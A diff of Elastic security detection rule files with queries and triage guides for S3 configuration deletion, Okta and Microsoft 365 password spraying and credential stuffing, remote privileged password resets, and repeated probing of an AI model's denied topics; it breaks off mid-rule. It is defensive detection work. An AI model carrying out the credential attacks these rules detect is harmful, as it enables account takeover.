Deletion\n\nAmazon S3 is a scalable storage service where configurations like policies, replication, and encryption ensure data security and compliance. The detection rule monitors successful deletions of these configurations via the following APIs: `DeleteBucketPolicy`, `DeleteBucketReplication`, `DeleteBucketCors`, `DeleteBucketEncryption` or `DeleteBucketLifecycle`. These operations can be used by an adversary to remove visibility, erase governance or compliance controls, or prepare a bucket for destructive or exfiltration activity. \nDeleting or disabling important configurations may hamper audit trails, hide malicious changes, or reduce the ability for recovery. The detection of these deletes is therefore a potential indicator of defense evasion or impact techniques.\n\n#### Possible investigation steps\n\n- **Identify the Actor and Context** \n - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.access_key_id` and `aws.cloudtrail.user_identity.type` to identify who performed the deletion. \n - Determine whether the actor typically manages bucket configurations, or if this is an unusual identity for this kind of operation. \n - Check `source.ip`, `user_agent.original`, `cloud.region` for anomalous behaviour (unfamiliar IPs, new tooling or region, off-hours actions).\n\n- **Determine the Affected Bucket and Configuration Type** \n - Examine `aws.cloudtrail.request_parameters` (and `aws.cloudtrail.resources.arn`) to identify the bucket and the sub-resource that was removed. \n - Determine whether the bucket is used for critical data (audit logs, backups, data warehouse). If so, the deletion is higher risk.\n\n- **Correlate with Other Activity to Establish Chain of Events** \n - Search for preceding or concurrent CloudTrail events by the same actor or on the same bucket, e.g.: \n - Removal of logging or access controls (`PutBucketLogging`, `PutBucketAcl`, `PutBucketPolicy`). \n - Object-level actions soon after configuration removal (`DeleteObject`, `DeleteObjects`, `PutObject`, cross-account copy) that suggest data removal or exfiltration. \n - Review for configuration additions or changes immediately prior (e.g., versioning disabled, replication removed) \u2014 could form part of a larger attack sequence. \n\n- **Evaluate Intent and Risk** \n - Confirm whether the change is aligned with an approved change control process (maintenance, re-architecting, cost-optimization). \n - If no documented justification, or if it affects buckets with sensitive or compliance-related data, treat it as potential malicious behavior. \n - Prioritize buckets where configuration deletion significantly reduces visibility or recovery capability.\n\n### False positive analysis\n\n- **Scheduled Maintenance or Re-architecture**: \n - Valid operations may include migrating buckets, retiring services, or reorganizing storage; verify through change logs. \n- **Automation/DevOps Activity**: \n - Infrastructure-as-Code pipelines or lifecycle clean-up tasks may remove configurations; validate known automation scopes and service-principals. \n- **Test/Development Buckets**: \n - Non-production environments may frequently change bucket configurations; document and consider whitelisting accordingly.\n\n### Response and remediation\n\n**1. Containment & Immediate Actions** \n- Temporarily restrict the IAM user or role that performed the deletion, especially for `DeleteBucketPolicy`, `DeleteBucketEncryption`, or `DeleteBucketLifecycle`. \n- Restore missing configurations as soon as possible (e.g., re-apply bucket policy, lifecycle rules, inventory configuration) to prevent further blind spots.\n\n**2. Investigation & Scope Assessment** \n- Using CloudTrail and S3 Data Events, check object\u2010level activity from the timeframe immediately before and after the configuration deletion. Look for bulk deletes, new uploads, or copies to external accounts. \n- Check whether other buckets in the account suffered similar configuration changes \u2013 potentially part of a wider campaign.\n\n**3. Recovery & Hardening** \n- Recover affected bucket configurations and ensure they match your organizational baseline and compliance standards (e.g., logging enabled, inventory configured, lifecycle rules active). \n- Enable AWS Config rules such as `s3-bucket-policy-check`, `s3-bucket-lifecycle-configuration-check`, `s3-bucket-logging-enabled` to monitor for unauthorized changes. \n- Apply least\u2010privilege for configuration deletion permissions; segregate duties so bucket config deletion can only be done via controlled workflows and require multi-step approval.\n\n**4. Lessons Learned & Prevention** \n- Conduct a post-incident review to determine root cause (credential compromise, misconfigured automation, malicious insider) and strengthen monitoring, alerting and access controls accordingly.\n\n", + "query": "event.dataset:aws.cloudtrail and \n event.provider:s3.amazonaws.com and\n event.action:(DeleteBucketPolicy or \n DeleteBucketReplication or \n DeleteBucketCors or \n DeleteBucketEncryption or \n DeleteBucketLifecycle) and \n event.outcome:success\n", + "references": [ + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketPolicy.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketReplication.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketCors.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketEncryption.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketLifecycle.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "227dc608-e558-43d9-b521-150772250bae", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: Amazon S3", + "Use Case: Asset Visibility", + "Tactic: Defense Evasion", + "Tactic: Impact", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1070", + "name": "Indicator Removal", + "reference": "https://attack.mitre.org/techniques/T1070/" + }, + { + "id": "T1562", + "name": "Impair Defenses", + "reference": "https://attack.mitre.org/techniques/T1562/", + "subtechnique": [ + { + "id": "T1562.008", + "name": "Disable or Modify Cloud Logs", + "reference": "https://attack.mitre.org/techniques/T1562/008/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1490", + "name": "Inhibit System Recovery", + "reference": "https://attack.mitre.org/techniques/T1490/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 211 + }, + "id": "227dc608-e558-43d9-b521-150772250bae_211", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/23f18264-2d6d-11ef-9413-f661ea17fbce_205.json b/packages/security_detection_engine/kibana/security_rule/23f18264-2d6d-11ef-9413-f661ea17fbce_205.json deleted file mode 100644 index 880bd59f156..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/23f18264-2d6d-11ef-9413-f661ea17fbce_205.json +++ /dev/null @@ -1,78 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Detects when an Okta client address has a certain threshold of Okta user authentication events with multiple device token hashes generated for single user authentication. Adversaries may attempt to launch a credential stuffing or password spraying attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts.", - "false_positives": [ - "Users may share an endpoint related to work or personal use in which separate Okta accounts are used.", - "Shared systems such as Kiosks and conference room computers may be used by multiple users." - ], - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "High Number of Okta Device Token Cookies Generated for Authentication", - "note": "## Triage and analysis\n\n### Investigating High Number of Okta Device Token Cookies Generated for Authentication\n\nThis rule detects when a certain threshold of Okta user authentication events are reported for multiple users from the same client address. Adversaries may attempt to launch a credential stuffing attack from the same device by using a list of known usernames and passwords to gain unauthorized access to user accounts. Note that Okta does not log unrecognized usernames supplied during authentication attempts, so this rule may not detect all credential stuffing attempts or may indicate a targeted attack.\n\n#### Possible investigation steps:\n- Since this is an ESQL rule, the `okta.actor.alternate_id` and `okta.client.ip` values can be used to pivot into the raw authentication events related to this activity.\n- Identify the users involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields.\n- Determine the device client used for these actions by analyzing `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields.\n- Review the `okta.security_context.is_proxy` field to determine if the device is a proxy.\n - If the device is a proxy, this may indicate that a user is using a proxy to access multiple accounts for password spraying.\n- With the list of `okta.actor.alternate_id` values, review `event.outcome` results to determine if the authentication was successful.\n - If the authentication was successful for any user, pivoting to `event.action` values for those users may provide additional context.\n- With Okta end users identified, review the `okta.debug_context.debug_data.dt_hash` field.\n - Historical analysis should indicate if this device token hash is commonly associated with the user.\n- Review the `okta.event_type` field to determine the type of authentication event that occurred.\n - If the event type is `user.authentication.sso`, the user may have legitimately started a session via a proxy for security or privacy reasons.\n - If the event type is `user.authentication.password`, the user may be using a proxy to access multiple accounts for password spraying.\n - If the event type is `user.session.start`, the source may have attempted to establish a session via the Okta authentication API.\n- Examine the `okta.outcome.result` field to determine if the authentication was successful.\n- Review the past activities of the actor(s) involved in this action by checking their previous actions.\n- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity.\n - This may help determine the authentication and authorization actions that occurred between the user, Okta and application.\n\n### False positive analysis:\n- A user may have legitimately started a session via a proxy for security or privacy reasons.\n- Users may share an endpoint related to work or personal use in which separate Okta accounts are used.\n - Architecturally, this shared endpoint may leverage a proxy for security or privacy reasons.\n - Shared systems such as Kiosks and conference room computers may be used by multiple users.\n - Shared working spaces may have a single endpoint that is used by multiple users.\n\n### Response and remediation:\n- Review the profile of the users involved in this action to determine if proxy usage may be expected.\n- If the user is legitimate and the authentication behavior is not suspicious based on device analysis, no action is required.\n- If the user is legitimate but the authentication behavior is suspicious, consider resetting passwords for the users involves and enabling multi-factor authentication (MFA).\n - If MFA is already enabled, consider resetting MFA for the users.\n- If any of the users are not legitimate, consider deactivating the user's account.\n- Conduct a review of Okta policies and ensure they are in accordance with security best practices.\n- Check with internal IT teams to determine if the accounts involved recently had MFA reset at the request of the user.\n - If so, confirm with the user this was a legitimate request.\n - If so and this was not a legitimate request, consider deactivating the user's account temporarily.\n - Reset passwords and reset MFA for the user.\n- If this is a false positive, consider adding the `okta.debug_context.debug_data.dt_hash` field to the `exceptions` list in the rule.\n - This will prevent future occurrences of this event for this device from triggering the rule.\n - Alternatively adding `okta.client.ip` or a CIDR range to the `exceptions` list can prevent future occurrences of this event from triggering the rule.\n - This should be done with caution as it may prevent legitimate alerts from being generated.\n", - "query": "FROM logs-okta*\n| WHERE\n event.dataset == \"okta.system\"\n AND (event.action RLIKE \"user\\\\.authentication(.*)\" OR event.action == \"user.session.start\")\n AND okta.debug_context.debug_data.request_uri == \"/api/v1/authn\"\n AND okta.outcome.reason == \"INVALID_CREDENTIALS\"\n| KEEP event.action, okta.debug_context.debug_data.dt_hash, okta.client.ip, okta.actor.alternate_id, okta.debug_context.debug_data.request_uri, okta.outcome.reason\n| STATS\n source_auth_count = COUNT_DISTINCT(okta.debug_context.debug_data.dt_hash)\n BY okta.client.ip, okta.actor.alternate_id\n| WHERE\n source_auth_count >= 30\n| SORT\n source_auth_count DESC\n", - "references": [ - "https://support.okta.com/help/s/article/How-does-the-Device-Token-work?language=en_US", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy", - "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection", - "https://www.okta.com/resources/whitepaper-how-adaptive-mfa-can-help-in-mitigating-brute-force-attacks/", - "https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security", - "https://www.elastic.co/security-labs/starter-guide-to-understanding-okta" - ], - "risk_score": 21, - "rule_id": "23f18264-2d6d-11ef-9413-f661ea17fbce", - "setup": "The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", - "severity": "low", - "tags": [ - "Use Case: Identity and Access Audit", - "Data Source: Okta", - "Tactic: Credential Access", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0006", - "name": "Credential Access", - "reference": "https://attack.mitre.org/tactics/TA0006/" - }, - "technique": [ - { - "id": "T1110", - "name": "Brute Force", - "reference": "https://attack.mitre.org/techniques/T1110/", - "subtechnique": [ - { - "id": "T1110.003", - "name": "Password Spraying", - "reference": "https://attack.mitre.org/techniques/T1110/003/" - } - ] - }, - { - "id": "T1110", - "name": "Brute Force", - "reference": "https://attack.mitre.org/techniques/T1110/", - "subtechnique": [ - { - "id": "T1110.004", - "name": "Credential Stuffing", - "reference": "https://attack.mitre.org/techniques/T1110/004/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 205 - }, - "id": "23f18264-2d6d-11ef-9413-f661ea17fbce_205", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/266bbea8-fcf9-4b0e-ba7b-fc00f6b1dc73_1.json b/packages/security_detection_engine/kibana/security_rule/266bbea8-fcf9-4b0e-ba7b-fc00f6b1dc73_1.json deleted file mode 100644 index a2f3eb29d4c..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/266bbea8-fcf9-4b0e-ba7b-fc00f6b1dc73_1.json +++ /dev/null @@ -1,42 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'topic_policy', indicating persistent misuse or attempts to probe the model's denied topics.", - "false_positives": [ - "New model deployments.", - "Testing updates to compliance policies." - ], - "from": "now-60m", - "interval": "10m", - "language": "esql", - "license": "Elastic License v2", - "name": "Unusual High Denied Topic Blocks Detected", - "note": "## Triage and analysis\n\n### Investigating Amazon Bedrock Guardrail High Denied Topic Blocks.\n\nAmazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications.\n\nIt enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices.\n\nThrough Guardrail, organizations can define \"denied topics\" to prevent the model from generating content on specific, undesired subjects,\nand they can establish thresholds for harmful content categories, including hate speech, violence, or offensive language.\n\n#### Possible investigation steps\n\n- Identify the user account that queried denied topics and whether it should perform this kind of action.\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day?\n- Examine the account's prompts and responses in the last 24 hours.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours.\n\n### False positive analysis\n\n- Verify the user account that queried denied topics, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", - "query": "from logs-aws_bedrock.invocation-*\n| MV_EXPAND gen_ai.policy.name \n| where gen_ai.policy.action == \"BLOCKED\" and gen_ai.compliance.violation_detected == \"true\" and gen_ai.policy.name == \"topic_policy\"\n| keep user.id\n| stats denied_topics = count() by user.id\n| where denied_topics > 5\n| sort denied_topics desc\n", - "references": [ - "https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html", - "https://atlas.mitre.org/techniques/AML.T0051", - "https://atlas.mitre.org/techniques/AML.T0054", - "https://www.elastic.co/security-labs/elastic-advances-llm-security" - ], - "risk_score": 47, - "rule_id": "266bbea8-fcf9-4b0e-ba7b-fc00f6b1dc73", - "setup": "## Setup\n\nThis rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation:\n\nhttps://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html\n", - "severity": "medium", - "tags": [ - "Domain: LLM", - "Data Source: AWS Bedrock", - "Data Source: AWS S3", - "Use Case: Policy Violation", - "Mitre Atlas: T0051", - "Mitre Atlas: T0054" - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 1 - }, - "id": "266bbea8-fcf9-4b0e-ba7b-fc00f6b1dc73_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/26f68dba-ce29-497b-8e13-b4fde1db5a2d_412.json b/packages/security_detection_engine/kibana/security_rule/26f68dba-ce29-497b-8e13-b4fde1db5a2d_412.json deleted file mode 100644 index 3d1e2b9a328..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/26f68dba-ce29-497b-8e13-b4fde1db5a2d_412.json +++ /dev/null @@ -1,78 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic", - "Willem D'Haese", - "Austin Songer" - ], - "description": "Identifies brute-force authentication activity targeting Microsoft 365 user accounts using failed sign-in patterns that match password spraying, credential stuffing, or password guessing behavior. Adversaries may attempt brute-force authentication with credentials obtained from previous breaches, leaks, marketplaces or guessable passwords.", - "false_positives": [ - "Automated processes that attempt to authenticate using expired credentials and unbounded retries may lead to false positives." - ], - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "Potential Microsoft 365 User Account Brute Force", - "note": "## Triage and Analysis\n\n### Investigating Potential Microsoft 365 User Account Brute Force\n\nIdentifies brute-force authentication activity targeting Microsoft 365 user accounts using failed sign-in patterns that match password spraying, credential stuffing, or password guessing behavior. Adversaries may attempt brute-force authentication with credentials obtained from previous breaches, leaks, marketplaces or guessable passwords.\n\n### Investigation Steps\n\n- Review `user_id_list`: Enumerates the user accounts targeted. Look for naming patterns or privilege levels (e.g., admins).\n- Check `login_errors`: A consistent error such as `\"InvalidUserNameOrPassword\"` confirms a spray-style attack using one or a few passwords.\n- Examine `ip_list` and `source_orgs`: Determine if the traffic originates from a known corporate VPN, datacenter, or suspicious ASN like hosting providers or anonymizers.\n- Review `countries` and `unique_country_count`: Geographic anomalies (e.g., login attempts from unexpected regions) may indicate malicious automation.\n- Validate `total_attempts` vs `duration_seconds`: A high frequency of login attempts over a short period may suggest automation rather than manual logins.\n- Cross-reference with successful logins: Pivot to surrounding sign-in logs (`azure.signinlogs`) or risk detections (`identityprotection`) for any account that eventually succeeded.\n- Check for multi-factor challenges or bypasses: Determine if any of the accounts were protected or if the attack bypassed MFA.\n\n### False Positive Analysis\n\n- IT administrators using automation tools (e.g., PowerShell) during account provisioning may trigger false positives if login attempts cluster.\n- Penetration testing or red team simulations may resemble spray activity.\n- Infrequent, low-volume login testing tools like ADFS testing scripts can exhibit similar patterns.\n\n### Response Recommendations\n\n- Initiate an internal incident ticket and inform the affected identity/IT team.\n- Temporarily disable impacted user accounts if compromise is suspected.\n- Investigate whether any login attempts succeeded after the spray window.\n- Block the offending IPs or ASN temporarily via firewall or conditional access policies.\n- Rotate passwords for all targeted accounts and audit for password reuse.\n- Enforce or verify MFA is enabled for all user accounts.\n- Consider deploying account lockout or progressive delay mechanisms if not already enabled.\n", - "query": "FROM logs-o365.audit-*\n\n| MV_EXPAND event.category\n| EVAL\n time_window = DATE_TRUNC(5 minutes, @timestamp),\n user_id = TO_LOWER(o365.audit.UserId),\n ip = source.ip,\n login_error = o365.audit.LogonError,\n request_type = TO_LOWER(o365.audit.ExtendedProperties.RequestType),\n asn_org = source.`as`.organization.name,\n country = source.geo.country_name,\n event_time = @timestamp\n\n| WHERE event.dataset == \"o365.audit\"\n AND event.category == \"authentication\"\n AND event.provider IN (\"AzureActiveDirectory\", \"Exchange\")\n AND event.action IN (\"UserLoginFailed\", \"PasswordLogonInitialAuthUsingPassword\")\n AND request_type RLIKE \"(oauth.*||.*login.*)\"\n AND login_error != \"IdsLocked\"\n AND login_error NOT IN (\n \"EntitlementGrantsNotFound\", \"UserStrongAuthEnrollmentRequired\", \"UserStrongAuthClientAuthNRequired\",\n \"InvalidReplyTo\", \"SsoArtifactExpiredDueToConditionalAccess\", \"PasswordResetRegistrationRequiredInterrupt\",\n \"SsoUserAccountNotFoundInResourceTenant\", \"UserStrongAuthExpired\", \"CmsiInterrupt\"\n )\n AND user_id != \"not available\"\n AND o365.audit.Target.Type IN (\"0\", \"2\", \"6\", \"10\")\n\n| STATS\n unique_users = COUNT_DISTINCT(user_id),\n user_id_list = VALUES(user_id),\n login_errors = VALUES(login_error),\n unique_login_errors = COUNT_DISTINCT(login_error),\n request_types = VALUES(request_type),\n ip_list = VALUES(ip),\n unique_ips = COUNT_DISTINCT(ip),\n source_orgs = VALUES(asn_org),\n countries = VALUES(country),\n unique_country_count = COUNT_DISTINCT(country),\n unique_asn_orgs = COUNT_DISTINCT(asn_org),\n first_seen = MIN(event_time),\n last_seen = MAX(event_time),\n total_attempts = COUNT()\n BY time_window\n\n| EVAL\n duration_seconds = DATE_DIFF(\"seconds\", first_seen, last_seen),\n bf_type = CASE(\n unique_users >= 15 AND unique_login_errors == 1 AND total_attempts >= 10 AND duration_seconds <= 1800, \"password_spraying\",\n unique_users >= 8 AND total_attempts >= 15 AND unique_login_errors <= 3 AND unique_ips <= 5 AND duration_seconds <= 600, \"credential_stuffing\",\n unique_users == 1 AND unique_login_errors == 1 AND total_attempts >= 20 AND duration_seconds <= 300, \"password_guessing\",\n \"other\"\n )\n\n| KEEP\n time_window, unique_users, user_id_list, login_errors, unique_login_errors,\n request_types, ip_list, unique_ips, source_orgs, countries,\n unique_country_count, unique_asn_orgs, first_seen, last_seen,\n duration_seconds, total_attempts, bf_type\n\n| WHERE\n bf_type != \"other\"\n", - "references": [ - "https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray", - "https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties", - "https://securityscorecard.com/research/massive-botnet-targets-m365-with-stealthy-password-spraying-attacks/", - "https://github.com/0xZDH/Omnispray", - "https://github.com/0xZDH/o365spray" - ], - "risk_score": 47, - "rule_id": "26f68dba-ce29-497b-8e13-b4fde1db5a2d", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Domain: SaaS", - "Data Source: Microsoft 365", - "Data Source: Microsoft 365 Audit Logs", - "Use Case: Identity and Access Audit", - "Use Case: Threat Detection", - "Tactic: Credential Access", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0006", - "name": "Credential Access", - "reference": "https://attack.mitre.org/tactics/TA0006/" - }, - "technique": [ - { - "id": "T1110", - "name": "Brute Force", - "reference": "https://attack.mitre.org/techniques/T1110/", - "subtechnique": [ - { - "id": "T1110.001", - "name": "Password Guessing", - "reference": "https://attack.mitre.org/techniques/T1110/001/" - }, - { - "id": "T1110.003", - "name": "Password Spraying", - "reference": "https://attack.mitre.org/techniques/T1110/003/" - }, - { - "id": "T1110.004", - "name": "Credential Stuffing", - "reference": "https://attack.mitre.org/techniques/T1110/004/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 412 - }, - "id": "26f68dba-ce29-497b-8e13-b4fde1db5a2d_412", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/2820c9c2-bcd7-4d6e-9eba-faf3891ba450_221.json b/packages/security_detection_engine/kibana/security_rule/2820c9c2-bcd7-4d6e-9eba-faf3891ba450_221.json new file mode 100644 index 00000000000..74c0a85f166 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/2820c9c2-bcd7-4d6e-9eba-faf3891ba450_221.json @@ -0,0 +1,138 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies an attempt to reset a potentially privileged account password remotely. Adversaries may manipulate account passwords to maintain access or evade password duration policies and preserve compromised credentials.", + "false_positives": [ + "Legitimate remote account administration." + ], + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Account Password Reset Remotely", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Account Password Reset Remotely\n\nRemote password resets are crucial for managing user accounts, especially for privileged users. However, adversaries exploit this by resetting passwords to maintain unauthorized access or bypass security policies. The detection rule identifies suspicious remote password resets by monitoring successful network logins and subsequent password reset actions, focusing on privileged accounts to minimize noise and highlight potential threats.\n\n### Possible investigation steps\n\n- Review the source IP address from the authentication event to determine if it is from a known or trusted network. Investigate any unfamiliar or suspicious IP addresses.\n- Check the winlog.event_data.TargetUserName from the password reset event to confirm if it belongs to a privileged account and verify if the reset was authorized.\n- Correlate the winlog.event_data.SubjectLogonId from both the authentication and password reset events to ensure they are linked and identify the user or process responsible for the actions.\n- Investigate the timing and frequency of similar events to identify patterns or anomalies that may indicate malicious activity.\n- Examine any recent changes or activities associated with the account in question to assess if there are other signs of compromise or unauthorized access.\n\n### False positive analysis\n\n- Routine administrative tasks can trigger false positives when legitimate IT staff reset passwords for maintenance or support. To manage this, create exceptions for known IT personnel or service accounts that frequently perform these actions.\n- Automated scripts or tools used for account management might cause false alerts. Identify and exclude these scripts or tools by their specific account names or IP addresses.\n- Scheduled password resets for compliance or security policies may appear suspicious. Document and exclude these scheduled tasks by their timing and associated accounts.\n- Service accounts with naming conventions similar to privileged accounts might be flagged. Review and adjust the rule to exclude these specific service accounts by refining the naming patterns in the query.\n- Internal network devices or systems that perform regular password resets could be misinterpreted as threats. Whitelist these devices by their IP addresses or hostnames to reduce noise.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary.\n- Revoke any active sessions associated with the compromised account to disrupt any ongoing malicious activities.\n- Reset the password of the affected account using a secure method, ensuring it is done from a trusted and secure system.\n- Conduct a thorough review of recent account activities and system logs to identify any additional unauthorized changes or access attempts.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach.\n- Implement additional monitoring on the affected account and related systems to detect any further suspicious activities.\n- Review and update access controls and privileged account management policies to prevent similar incidents in the future.\n\n## Performance\nThis rule may cause medium to high performance impact due to logic scoping all remote Windows logon activity.\n", + "query": "sequence by winlog.computer_name with maxspan=1m\n [authentication where host.os.type == \"windows\" and event.action == \"logged-in\" and\n /* event 4624 need to be logged */\n winlog.logon.type : \"Network\" and event.outcome == \"success\" and source.ip != null and\n source.ip != \"127.0.0.1\" and source.ip != \"::1\" and\n not winlog.event_data.TargetUserName : (\"svc*\", \"PIM_*\", \"_*_\", \"*-*-*\", \"*$\")] by winlog.event_data.TargetLogonId\n /* event 4724 need to be logged */\n [iam where host.os.type == \"windows\" and event.action == \"reset-password\" and\n (\n /*\n This rule is very noisy if not scoped to privileged accounts, duplicate the\n rule and add your own naming convention and accounts of interest here.\n */\n winlog.event_data.TargetUserName: (\"*Admin*\", \"*super*\", \"*SVC*\", \"*DC0*\", \"*service*\", \"*DMZ*\", \"*ADM*\") or\n winlog.event_data.TargetSid : (\"S-1-5-21-*-500\", \"S-1-12-1-*-500\")\n )\n ] by winlog.event_data.SubjectLogonId\n", + "references": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4724", + "https://stealthbits.com/blog/manipulating-user-passwords-with-mimikatz/", + "https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/master/Credential%20Access/remote_pwd_reset_rpc_mimikatz_postzerologon_target_DC.evtx", + "https://www.elastic.co/security-labs/detect-credential-access" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + }, + { + "ecs": false, + "name": "winlog.computer_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.SubjectLogonId", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.TargetLogonId", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.TargetSid", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.TargetUserName", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.logon.type", + "type": "unknown" + } + ], + "risk_score": 47, + "rule_id": "2820c9c2-bcd7-4d6e-9eba-faf3891ba450", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Persistence", + "Tactic: Impact", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1098", + "name": "Account Manipulation", + "reference": "https://attack.mitre.org/techniques/T1098/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1531", + "name": "Account Access Removal", + "reference": "https://attack.mitre.org/techniques/T1531/" + } + ] + } + ], + "type": "eql", + "version": 221 + }, + "id": "2820c9c2-bcd7-4d6e-9eba-faf3891ba450_221", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/28371aa1-14ed-46cf-ab5b-2fc7d1942278_2.json b/packages/security_detection_engine/kibana/security_rule/28371aa1-14ed-46cf-ab5b-2fc7d1942278_2.json deleted file mode 100644 index 841a3bab4fb..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/28371aa1-14ed-46cf-ab5b-2fc7d1942278_2.json +++ /dev/null @@ -1,55 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule uses alert data to determine when a malware signature is triggered in multiple hosts. Analysts can use this to prioritize triage and response, as this can potentially indicate a 